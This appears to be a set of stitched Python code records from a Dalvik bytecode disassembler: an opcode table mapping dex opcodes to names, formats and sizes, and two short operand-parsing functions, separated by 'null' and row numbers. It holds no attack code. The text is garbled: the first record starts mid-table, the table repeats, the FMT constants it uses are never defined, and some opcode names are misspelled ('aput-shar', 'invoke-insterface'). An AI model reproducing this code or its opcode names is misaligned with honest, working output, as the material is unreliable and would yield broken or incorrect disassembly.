(0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT11N(buffer, dex_object, pc_point, offset): return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % (ord(buffer[1]) & 0xf), "%d" % ((ord(buffer[1]) >> 4) & 0xf))
null
17,370
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT11X(buffer, dex_object, pc_point, offset): return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]))
null
17,371
